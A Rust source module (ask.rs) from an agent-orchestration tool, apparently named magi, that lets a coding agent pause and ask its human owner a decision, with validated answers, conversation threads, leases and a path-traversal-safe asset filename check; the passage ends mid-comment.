Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59pub const SCHEMA: u32 = 5;
60
61/// How often the wait re-reads the question file.
62///
63/// Three seconds: the answer comes from a human on a phone, so the difference
64/// between three seconds and three hundred milliseconds is invisible to them,
65/// while a tight loop would `stat` and parse a file thousands of times per
66/// minute for a wait that routinely lasts hours. Nothing is held between polls -
67/// no lock, no open handle - because `magi web` and `magi answer` write the
68/// same file from other processes.
69const POLL: Duration = Duration::from_secs(3);
70
71/// How long an agent's reply may go unnoticed before it earns its own
72/// notification.
73///
74/// An operator reading the card when the agent replies does not need paging
75/// again for a conversation they are already in; one who walked away still
76/// needs the tap on the shoulder. Five minutes is a judgement call about that
77/// line, not a policy a repository has an opinion about, which is why it lives
78/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
79/// whether they are still looking at the phone, and neither can this build, so
80/// there is nothing for a per-repository setting to be *right* about.
81const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
82
83/// How long the operator's notification command may run before it is killed.
84///
85/// A webhook that hangs must not hang the run. Twenty seconds is long enough
86/// for a slow HTTP round trip and short enough that the operator still gets the
87/// question filed and the run parked in a bounded time.
88const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
89
90/// The longest a single `magi ask` invocation may block on the owner before
91/// it hands the wait back to whatever is running it, rather than to
92/// [`Question::abandon`].
93///
94/// `answer_timeout` defaults to a day, and that is a deadline for the
95/// *question*, not a budget the calling process is free to spend all at
96/// once: an agent CLI's own shell tool kills a command that runs much longer
97/// than this, and the child it kills is `magi ask` itself - the one thing
98/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
99/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
100/// out, and the seat's own summary said it had backgrounded the blocking
101/// `magi ask` and would "continue once the owner replies" - except nothing
102/// was left to notice the reply. The seat exited `completed`, the
103/// backgrounded child died with it, and the owner's eventual answer on the
104/// web UI had nobody left to read it.
105///
106/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
107/// and returns [`Wait::Pending`] if nothing happened, which is not a
108/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
109/// process the tool timeout has never seen. Four minutes leaves a ten-minute
110/// tool budget room for the CLI's own startup and the notification's round
111/// trip, while staying long enough that an owner who answers within the hour
112/// is not making an agent loop through fifteen slices to hear about it.
113const WAIT_SLICE: Duration = Duration::from_secs(240);
114
115/// How long a lease stays believable after its last beat.
116///
117/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
118/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
119/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
120/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
121/// or about to be, and a lease that is merely between two calls must not be
122/// mistaken for that - the daemon waiter would start a second agent on a
123/// conversation the first is still in.
124pub const LEASE_TTL: Duration = Duration::from_secs(90);
125
126/// How long [`Questions::update`]'s lock may be held before it is presumed
127/// left behind by a writer that died.
128const LOCK_STALE: Duration = Duration::from_secs(10);
129
130/// Environment variable naming the base URL of the web UI, for `{url}`.
131///
132/// A run cannot discover this by itself: `magi web` is a different process,
133/// usually started by hand and often on a different machine on the tailnet, and
134/// the address it settled on (Tailscale IP, port, or the fallback it warned
135/// about) exists only in that process. So the operator names it once, in the
136/// environment `magi serve` runs in - `magi web --open` prints exactly the
137/// string to use on stdout. Unset means `{url}` expands to nothing rather than
138/// to a guess: a notification carrying a link to an address nothing is
139/// listening on is worse than one carrying no link at all.
140pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
141
142/// Largest panel magi will store, html plus assets.
143///
144/// Checked as a total, before a single byte is written, because the failure
145/// this prevents is not a full disk but a half-copied panel: an agent that
146/// points at a 200 MB screen recording must get one clean error, not a
147/// directory holding the three small files that fitted before the copy died.
148/// Eight mebibytes is far more than a diff, a table and a handful of images
149/// need, and small enough that a phone on a hotel link still renders it.
150pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
151
152/// Suffix of the directory holding one question's panel.
153///
154/// A sibling of `<id>.json` rather than a subdirectory of the store, so
155/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
156/// see it, and so a panel travels with the question it belongs to.
157const PANEL_DIR: &str = ".panel";
158
159/// The panel's entry point inside its directory.
160const PANEL_HTML: &str = "index.html";
161
162/// Scratch directory a panel is assembled in before it is swapped into place.
163const PANEL_TMP: &str = ".panel.tmp";
164
165/// The one asset filename rule, applied on write **and** on read.
166///
167/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
168/// containing `..`. The pattern is this narrow because the name arrives from
169/// two untrusted directions and is then joined onto a path: an agent naming
170/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
171/// character that could change what the join means is outside the set - `/`
172/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
173/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
174/// refused, which matters because on Windows `Path::join` with an absolute
175/// path *discards the whole prefix* and would serve any file on the disk.
176/// `..` is refused anywhere rather than only at the front so the rule reads
177/// the same as the sentence "no traversal" to anyone auditing it.
178///
179/// The length bound keeps a name inside every filesystem's limit, so a panel
180/// that stores cannot fail to store on the operator's other machine.
181pub fn valid_asset_name(name: &str) -> bool {
182    if name.is_empty() || name.len() > 64 || name.contains("..") {
183        return false;
184    }
185    let mut chars = name.chars();
186    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
187        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
188}
189
190/// Where a question is in its life.
191#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
192#[serde(rename_all = "lowercase")]
193pub enum QuestionStatus {
194    /// Asked, and waiting for the owner. A run is parked behind it.
195    Open,
196    /// The owner decided. [`Question::answer`] holds what they said.
197    Answered,
198    /// Nobody answered in time, or the question outlived the run that asked.
199    /// Kept rather than deleted: what was asked and never answered is the
200    /// evidence that the operator was the bottleneck.
201    Abandoned,
202}
203
204impl QuestionStatus {
205    /// Is a run still parked behind this question?
206    pub fn open(self) -> bool {
207        matches!(self, Self::Open)
208    }
209
210    /// Lowercase name, as it appears on disk and in the API.
211    pub fn as_str(self) -> &'static str {
212        match self {
213            Self::Open => "open",
214            Self::Answered => "answered",
215            Self::Abandoned => "abandoned",
216        }
217    }
218}
219
220/// What the owner said.
221///
222/// Two shapes rather than one string because the question decides which is
223/// admissible, and [`Question::answer`] enforces it. A phone that posts
224/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
225/// front end, and it is caught here rather than handed to an agent as fact.
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
227#[serde(rename_all = "lowercase")]
228pub enum Answer {
229    /// One of the offered choices, verbatim.
230    Choice(String),
231    /// Free text, for a question that offered no choices.
232    Text(String),
233}
234
235/// What the daemon does to the task behind a question when a particular
236/// choice is answered.
237///
238/// A closed set, attached to a choice by the asker (`magi ask --choice X
239/// --action X=resume`) and matched by the choice's exact text. Nothing here
240/// is ever derived from the wording of a label or of a free-text answer: a
241/// question without an action for the chosen label does nothing but answer.
242#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
243#[serde(tag = "do", rename_all = "lowercase")]
244pub enum ChoiceAction {
245    /// Resume this run of the task that owns the question.
246    Resume {
247        /// The run to continue. Must still be the task's latest run.
248        run: String,
249    },
250    /// Requeue the task as a fresh competition.
251    Requeue,
252    /// Close the task as done.
253    Done,
254}
255
256impl ChoiceAction {
257    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
258    /// `resume[:<run>]`, `requeue` or `done`. A `resume` without a run takes
259    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
260    /// action; whether the label is one of the choices is the caller's check.
261    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
262        let Some((label, verb)) = spec.rsplit_once('=') else {
263            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
264        };
265        let label = label.trim();
266        if label.is_empty() {
267            bail!("`--action {spec}` names no choice before `=`");
268        }
269        let verb = verb.trim();
270        let action = match verb.split_once(':') {
271            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
272                run: run.trim().to_owned(),
273            },
274            None if verb == "resume" => {
275                if default_run.is_empty() {
276                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
277                }
278                Self::Resume {
279                    run: default_run.to_owned(),
280                }
281            }
282            None if verb == "requeue" => Self::Requeue,
283            None if verb == "done" => Self::Done,
284            _ => bail!(
285                "unknown action `{verb}` in `--action {spec}`; \
286                 use resume[:<run>], requeue or done"
287            ),
288        };
289        Ok((label.to_owned(), action))
290    }
291
292    /// Short human wording, for `magi show` and the card.
293    pub fn describe(&self) -> String {
294        match self {
295            Self::Resume { run } => format!("resume run {}", short(run)),
296            Self::Requeue => "requeue the task".to_owned(),
297            Self::Done => "mark the task done".to_owned(),
298        }
299    }
300}
301
302/// Parse every `--action` value against the offered `choices`, refusing a
303/// label the question does not offer (it could never fire).
304pub fn parse_actions(
305    specs: &[String],
306    choices: &[String],
307    default_run: &str,
308) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
309    let mut out = std::collections::BTreeMap::new();
310    for spec in specs {
311        let (label, action) = ChoiceAction::parse(spec, default_run)?;
312        if !choices.contains(&label) {
313            bail!(
314                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
315                choices.join(", ")
316            );
317        }
318        if out.insert(label.clone(), action).is_some() {
319            bail!("more than one --action for `{label}`");
320        }
321    }
322    Ok(out)
323}
324
325/// Who wrote one turn of a question's conversation.
326///
327/// Two values, not three: [`Question::thread`] is the record of a single
328/// question stopping and resuming, and the agent that resumes it is always
329/// the one that asked - a fresh consultant would have to be caught up on
330/// everything the first agent already knows, which is the round trip this
331/// module exists to avoid. The names and the wire spelling deliberately match
332/// [`crate::chat::Who`], which this module does not depend on: the two are the
333/// same idea in two products, and giving them the same shape is what lets the
334/// phone render both with one component.
335#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
336#[serde(rename_all = "lowercase")]
337pub enum Who {
338    /// The person the agent asked.
339    Operator,
340    /// The agent that asked, replying to a question of its own rather than
341    /// answering.
342    Agent,
343}
344
345/// One turn in a question's back-and-forth, after the question itself was
346/// asked.
347///
348/// The question's own `summary`/`detail`/`choices` already carry the agent's
349/// opening move, so a turn only exists from the moment the owner talks back -
350/// [`Question::thread`] starts empty and stays that way for the overwhelming
351/// majority of questions, which are answered on the first read.
352#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
353#[serde(deny_unknown_fields)]
354pub struct Turn {
355    /// Who said it.
356    pub who: Who,
357    /// What they said.
358    pub body: String,
359    /// When they said it.
360    pub at: Timestamp,
361}
362
363/// Who is keeping watch over an open question.
364#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
365#[serde(rename_all = "lowercase")]
366pub enum WaiterKind {
367    /// The `magi ask` process the agent started.
368    Asker,
369    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
370    /// own session because the asker is gone.
371    Daemon,
372    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
373    /// `magi serve` runs for a question the conductor filed, so that something
374    /// which remembers why it was asked is on the other end.
375    Deputy,
376}
377
378/// The follow-up seat a conductor question hands its wait to.
379///
380/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
381/// reply to its question would reach nobody. A deputy is a seat of its own -
382/// keyed `deputy-<question id>`, never the conductor's shared seat - that
383/// inherits what the conductor knew about this one question ([`Deputy::brief`])
384/// and blocks on it with `magi ask --wait`. Persisted on the question so a
385/// restarted daemon resumes the same CLI conversation instead of assuming it.
386///
387/// Written only through [`Questions::update`]: the owner's say and answer land
388/// on the same file.
389#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
390pub struct Deputy {
391    /// Why the question was asked, what each choice leads to: the conductor's
392    /// context for this one question, handed to the deputy in its prompt.
393    pub brief: String,
394    /// The agent that holds the seat. Empty until the first start.
395    #[serde(default)]
396    pub agent: String,
397    /// The deputy's own conversation. `None` until the first start.
398    #[serde(default)]
399    pub seat: Option<crate::agent::SeatState>,
400    /// How many times a deputy turn was started for this question. Never reset
401    /// by a restart, so a deputy that keeps dying is bounded.
402    #[serde(default)]
403    pub starts: u32,
404}
405
406impl Deputy {
407    /// A deputy that has not started yet, holding `brief`.
408    pub fn new(brief: String) -> Self {
409        Self {
410            brief,
411            agent: String::new(),
412            seat: None,
413            starts: 0,
414        }
415    }
416}
417
418/// Seat name of the deputy for question `id`.
419pub fn deputy_seat_key(id: &str) -> String {
420    format!("deputy-{}", short(id))
421}
422
423/// The record's note of who was last known to be waiting.
424///
425/// A note, not a promise: nothing rewrites the question when a holder dies, so
426/// whether it still holds is read from the [`Lease`] beside it.
427#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
428pub struct Waiter {
429    /// Who took the wait.
430    pub kind: WaiterKind,
431    /// When they took it.
432    pub since: Timestamp,
433}
434
435/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
436///
437/// A sidecar rather than a field of the question because a holder beats every
438/// few seconds, and rewriting the question that often would race the phone's
439/// answer and say with lost updates. It is not `*.json`, so
440/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
441/// different things across platforms, while a beat that stopped is evidence on
442/// every one.
443#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
444pub struct Lease {
445    /// Who beat last.
446    pub kind: WaiterKind,
447    /// Their process id, for a human reading the file.
448    pub pid: u32,
449    /// When they beat last.
450    pub beat_at: Timestamp,
451}
452
453impl Lease {
454    /// Was the last beat recent enough to believe the holder is still there?
455    pub fn fresh(&self, now: Timestamp) -> bool {
456        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
457    }
458}
459
460/// One decision magi will not take on the owner's behalf.
461#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
462#[serde(deny_unknown_fields)]
463pub struct Question {
464    /// On-disk format version.
465    pub schema: u32,
466    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
467    /// task's, so the operator can paste any of them at any prefix argument.
468    pub id: String,
469    /// Run that is parked behind this question.
470    pub run: String,
471    /// Graph node the asking agent was working in, e.g. `implement`.
472    pub node: String,
473    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
474    /// this" decides whether the answer unblocks one candidate or all of them.
475    pub seat: String,
476    /// One line: the question itself. This is what a notification carries and
477    /// what the phone shows above the answer controls.
478    pub summary: String,
479    /// The reasoning behind the question, as markdown. May be long, may be
480    /// empty. Rendered as text nodes by the UI, never as markup.
481    pub detail: String,
482    /// The admissible answers. **Empty means free text** - that one condition
483    /// is the whole difference between the two kinds of question, on disk, in
484    /// the UI, and in [`Question::answer`]'s validation.
485    pub choices: Vec<String>,
486    /// What the daemon does when a given choice is answered, keyed by the
487    /// choice's exact text. Empty for an ordinary question. A key is always
488    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
489    #[serde(default)]
490    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
491    /// Does this question have an agent-authored HTML panel beside it?
492    ///
493    /// Serialised with a default so a question written by an older magi - or
494    /// by hand - still deserialises rather than failing the whole store, which
495    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
496    /// open question the operator was looking for.
497    #[serde(default)]
498    pub panel: bool,
499    /// Files copied in beside the panel's html, by base name, sorted.
500    ///
501    /// The list exists so a reader knows what a panel is made of without
502    /// walking the directory, and every entry satisfies [`valid_asset_name`].
503    /// Sorted because it is compared - a question re-asked with the same
504    /// assets in a different argument order is not a different question.
505    #[serde(default)]
506    pub assets: Vec<String>,
507    /// Current state.
508    pub status: QuestionStatus,
509    /// When the agent asked.
510    pub asked_at: Timestamp,
511    /// When the owner answered, if they did.
512    pub answered_at: Option<Timestamp>,
513    /// What they said.
514    pub answer: Option<Answer>,
515    /// Everything said after the question itself, oldest first: the owner
516    /// asking back, the agent replying, as many times as it takes before an
517    /// [`Answer`] lands.
518    ///
519    /// `#[serde(default)]` so a question written before this field existed -
520    /// every question on disk before this build - still deserialises as one
521    /// with no conversation yet, rather than failing [`Questions::list`]'s
522    /// read and quietly hiding an open question from the operator.
523    #[serde(default)]
524    pub thread: Vec<Turn>,
525    /// The `answer_timeout`, in seconds, that was in force when this question
526    /// was first asked. `0` means unrecorded - a question written before this
527    /// field existed, or one filed by a flow (land's merge-approval gate)
528    /// that never sets it because it never resumes a sliced wait.
529    ///
530    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
531    /// or the config default) is decided by the caller, after the question
532    /// already exists - so it starts at `0` here and whoever files a fresh
533    /// question sets it once, the same way [`Question::panel`] is set by
534    /// [`Questions::put_panel`] rather than by the constructor. It is never
535    /// touched again: `magi ask --wait` reads it as the one deadline it is
536    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
537    /// on a later call can never quietly extend or shrink the budget the
538    /// question was actually asked with.
539    #[serde(default)]
540    pub answer_timeout: u64,
541    /// The directory the asking agent was working in when it asked, so the
542    /// daemon waiter can resume that agent's session from where it stood.
543    /// `None` for a question no `magi ask` filed (land's approval gate, a
544    /// release notice, one written before this field existed): those have no
545    /// agent to hand anything back to, and the waiter leaves them alone.
546    #[serde(default)]
547    pub cwd: Option<String>,
548    /// Who was last known to be waiting - see [`Waiter`].
549    #[serde(default)]
550    pub waiter: Option<Waiter>,
551    /// How many entries of [`Question::thread`] the agent has been shown, by
552    /// the asking process printing them or by the waiter resuming the seat.
553    /// The owner's turn at an index at or past this has reached nobody yet.
554    #[serde(default)]
555    pub delivered_turns: usize,
556    /// Has the agent been told the [`Answer`]? The asker prints it as it
557    /// returns; the waiter delivers it when the asker was gone.
558    #[serde(default)]
559    pub answer_delivered: bool,
560    /// The follow-up seat waiting on this question, for a question the
561    /// conductor filed. `None` for every other question.
562    #[serde(default)]
563    pub deputy: Option<Deputy>,
564}
565
566impl Question {
567    /// Does `run` hold a task id rather than a run id? True for the
568    /// conductor's and the triage questions, which are filed about a task.
569    pub fn run_names_task(&self) -> bool {
570        matches!(
571            self.node.as_str(),
572            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
573        )
574    }
575
576    /// Ask something. Persist it with [`Questions::put`], or hand it to
577    /// [`ask_and_wait`], which files it and waits.
578    pub fn new(
579        run: String,
580        node: String,
581        seat: String,
582        summary: String,
583        detail: String,
584        choices: Vec<String>,
585    ) -> Self {
586        Self {
587            schema: SCHEMA,
588            id: new_id(),
589            run,
590            node,
591            seat,
592            summary,
593            detail,
594            choices,
595            actions: std::collections::BTreeMap::new(),
596            panel: false,
597            assets: Vec::new(),
598            status: QuestionStatus::Open,
599            asked_at: Timestamp::now(),
600            answered_at: None,
601            answer: None,
602            thread: Vec::new(),
603            answer_timeout: 0,
604            cwd: None,
605            waiter: None,
606            delivered_turns: 0,
607            answer_delivered: false,
608            deputy: None,
609        }
610    }
611
612    /// Short form used in reports and on the phone, matching a run's short id.
613    pub fn short(&self) -> &str {
614        short(&self.id)
615    }
616
617    /// The action attached to the choice that was answered, if the question
618    /// is answered with a choice that carries one. Free text never matches.
619    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
620        match (&self.status, &self.answer) {
621            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
622            _ => None,
623        }
624    }
625
626    /// Does this question want free text rather than one of a set?
627    pub fn free_text(&self) -> bool {
628        self.choices.is_empty()
629    }
630
631    /// Record an answer. Rejects a choice the question does not offer, free
632    /// text on a multiple-choice question, an empty answer, and a second
633    /// answer.
634    ///
635    /// Every rejection here is a case where accepting would put a fabrication
636    /// in front of an agent as if the owner had said it. The messages are
637    /// distinct because the caller is a web handler that shows them verbatim,
638    /// and "that is not one of the choices" and "this question is multiple
639    /// choice" are different mistakes with different fixes.
640    pub fn answer(&mut self, answer: Answer) -> Result<()> {
641        match self.status {
642            QuestionStatus::Answered => bail!(
643                "question {} was already answered; the run has moved on and a \
644                 second answer would be a decision nobody acted on",
645                self.short()
646            ),
647            QuestionStatus::Abandoned => bail!(
648                "question {} was abandoned and the run behind it is gone",
649                self.short()
650            ),
651            QuestionStatus::Open => {}
652        }
653        let body = match &answer {
654            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
655        };
656        if body.trim().is_empty() {
657            bail!(
658                "question {} needs an answer; an empty one tells the agent \
659                 nothing and it would guess anyway",
660                self.short()
661            );
662        }
663        match &answer {
664            Answer::Choice(c) if self.free_text() => bail!(
665                "question {} asks for free text, so `{c}` cannot be a choice \
666                 it offered",
667                self.short()
668            ),
669            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
670                "`{c}` is not one of the choices question {} offers: {}",
671                self.short(),
672                self.choices.join(", ")
673            ),
674            Answer::Text(_) if !self.free_text() => bail!(
675                "question {} is multiple choice; answer with one of: {}",
676                self.short(),
677                self.choices.join(", ")
678            ),
679            _ => {}
680        }
681        self.answered_at = Some(Timestamp::now());
682        self.answer = Some(answer);
683        self.status = QuestionStatus::Answered;
684        Ok(())
685    }
686
687    /// Give up on an answer, keeping the record of what was asked.
688    ///
689    /// An answered question is left alone, which matters at exactly one moment:
690    /// the owner answering in the same second the wait's deadline passes. The
691    /// answer is the thing worth keeping there, and it has already been written
692    /// by another process.
693    ///
694    /// The reason is appended to [`Question::detail`] because the on-disk shape
695    /// is a contract with the front end and has no field of its own for it -
696    /// and "asked at 3am, nobody home for a day" belongs with the question, not
697    /// only in a log the operator will never open.
698    pub fn abandon(&mut self, why: impl Into<String>) {
699        if !self.status.open() {
700            return;
701        }
702        self.status = QuestionStatus::Abandoned;
703        let why = why.into();
704        let why = why.trim();
705        if why.is_empty() {
706            return;
707        }
708        if !self.detail.is_empty() {
709            self.detail.push('\n');
710        }
711        self.detail.push_str("\n_Abandoned: ");
712        self.detail.push_str(why);
713        self.detail.push_str("._\n");
714    }
715
716    /// The answer as the asking agent should read it.
717    ///
718    /// One string for both kinds of question: the agent's prompt says "the
719    /// owner answered:", and a chosen option and a typed sentence are the same
720    /// thing at that point. `None` while the question is open or abandoned, so
721    /// a caller cannot mistake silence for a decision.
722    pub fn resolution(&self) -> Option<String> {
723        match (self.status, &self.answer) {
724            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
725                Some(a.clone())
726            }
727            _ => None,
728        }
729    }
730
731    /// A deputy recording that the owner's own words settled the question.
732    ///
733    /// The owner decided in free text ("setup done") on a question that offers
734    /// choices, so no choice was ever tapped. This records `label` as the
735    /// answer - and nothing else: applying it is the daemon's existing path
736    /// for an answered conductor question. Refused unless the caller is this
737    /// question's deputy seat, `label` is one of the offered choices, and
738    /// `quote` appears verbatim in something the owner said; the quote is
739    /// kept in the thread as an agent turn so the record shows what the
740    /// decision rests on.
741    pub fn settle_by_deputy(&mut self, seat: &str, label: &str, quote: &str) -> Result<()> {
742        let Some(deputy) = &self.deputy else {
743            bail!("question {} has no deputy", self.short());
744        };
745        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
746        if own != Some(seat) {
747            bail!("only the deputy of question {} may settle it", self.short());
748        }
749        if !self.choices.iter().any(|c| c == label) {
750            bail!(
751                "`{label}` is not one of the choices offered on question {}",
752                self.short()
753            );
754        }
755        let quote = quote.trim();
756        if quote.is_empty()
757            || !self
758                .thread
759                .iter()
760                .any(|t| t.who == Who::Operator && t.body.contains(quote))
761        {
762            bail!(
763                "the quote is not something the owner said on question {}",
764                self.short()
765            );
766        }
767        if crate::deputy::merge_gated(self) {
768            // The merge is irreversible and a say is not a decision. The
769            // owner's latest message is what counts (an earlier one may since
770            // have been qualified or withdrawn). `hold` must be that message
771            // exactly; `merge` may sit among other requests, but only as a
772            // clear, unhedged instruction quoted verbatim - see
773            // `land::merge_intent`, which holds on anything doubtful.
774            let latest = self
775                .thread
776                .iter()
777                .rev()
778                .find(|t| t.who == Who::Operator)
779                .map(|t| t.body.trim());
780            let ok = if label == crate::land::APPROVE {
781                latest.is_some_and(|m| crate::land::merge_intent(m, quote))
782            } else if label == crate::land::HOLD {
783                latest.is_some_and(|m| {
784                    quote.eq_ignore_ascii_case(label) && m.eq_ignore_ascii_case(label)
785                })
786            } else {
787                false
788            };
789            if !ok {
790                bail!(
791                    "on a merge approval `{label}` settles it only when the owner's latest \
792                     message clearly says so, unhedged and quoted verbatim ({}); ask what \
793                     they mean with `--thread` instead",
794                    if label == crate::land::HOLD {
795                        "for `hold`, the whole message"
796                    } else {
797                        "no maybe / if / not / question"
798                    }
799                );
800            }
801        }
802        self.thread.push(Turn {
803            who: Who::Agent,
804            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
805            at: Timestamp::now(),
806        });
807        self.delivered_turns = self.thread.len();
808        self.answer(Answer::Choice(label.to_owned()))
809    }
810
811    /// The owner speaking back without answering: a request for context, a
812    /// clarifying question, anything short of a decision.
813    ///
814    /// Rejects the same two states [`Question::answer`] does, and for the same
815    /// reason - a question with a recorded [`Answer`] or an abandoned one has
816    /// no run left listening for a reply - and an empty turn, which would tell
817    /// the agent nothing it didn't already know. Never changes `status`: the
818    /// question stays [`QuestionStatus::Open`], because the owner did not
819    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
820    /// counting this as the one question it always was.
821    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
822        match self.status {
823            QuestionStatus::Answered => bail!(
824                "question {} was already answered; there is nothing left to \
825                 discuss",
826                self.short()
827            ),
828            QuestionStatus::Abandoned => bail!(
829                "question {} was abandoned and the run behind it is gone",
830                self.short()
831            ),
832            QuestionStatus::Open => {}
833        }
834        let body = body.into();
835        if body.trim().is_empty() {
836            bail!("a message to question {} cannot be empty", self.short());
837        }
838        self.thread.push(Turn {
839            who: Who::Operator,
840            body,
841            at: Timestamp::now(),
842        });
843        Ok(())
844    }
845
846    /// The agent replying to the owner's last word, in place of an answer:
847    /// same question, same id, another round.
848    ///
849    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
850    /// on the same reasoning [`Questions::put_panel`] replaces a panel
851    /// wholesale: the whole point of asking back is that what should be
852    /// offered next may have changed, and a caller that wanted the old set
853    /// unchanged can simply pass it again. An empty `Vec` means free text,
854    /// exactly as it does when the question is first asked.
855    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
856        match self.status {
857            QuestionStatus::Answered => bail!(
858                "question {} was already answered; replying now would not \
859                 reach anyone",
860                self.short()
861            ),
862            QuestionStatus::Abandoned => bail!(
863                "question {} was abandoned and the run behind it is gone",
864                self.short()
865            ),
866            QuestionStatus::Open => {}
867        }
868        let body = body.into();
869        if body.trim().is_empty() {
870            bail!("a reply to question {} cannot be empty", self.short());
871        }
872        // An action whose label is no longer offered could never fire.
873        self.actions.retain(|label, _| choices.contains(label));
874        self.choices = choices;
875        let unread = self.unread_from_owner().is_some();
876        self.thread.push(Turn {
877            who: Who::Agent,
878            body,
879            at: Timestamp::now(),
880        });
881        // The agent has read everything up to its own reply - but only if
882        // nothing the owner said in the meantime is still unread. A second say
883        // that landed after the agent's last look must stay undelivered.
884        if !unread {
885            self.delivered_turns = self.thread.len();
886        }
887        Ok(())
888    }
889
890    /// What the owner said that the agent has not read yet, oldest first,
891    /// joined. `None` unless the question is open and such a turn exists.
892    ///
893    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
894    /// second owner turn it never saw, which leaves the last turn the agent's
895    /// and the ball apparently back with the owner while a say is still unread.
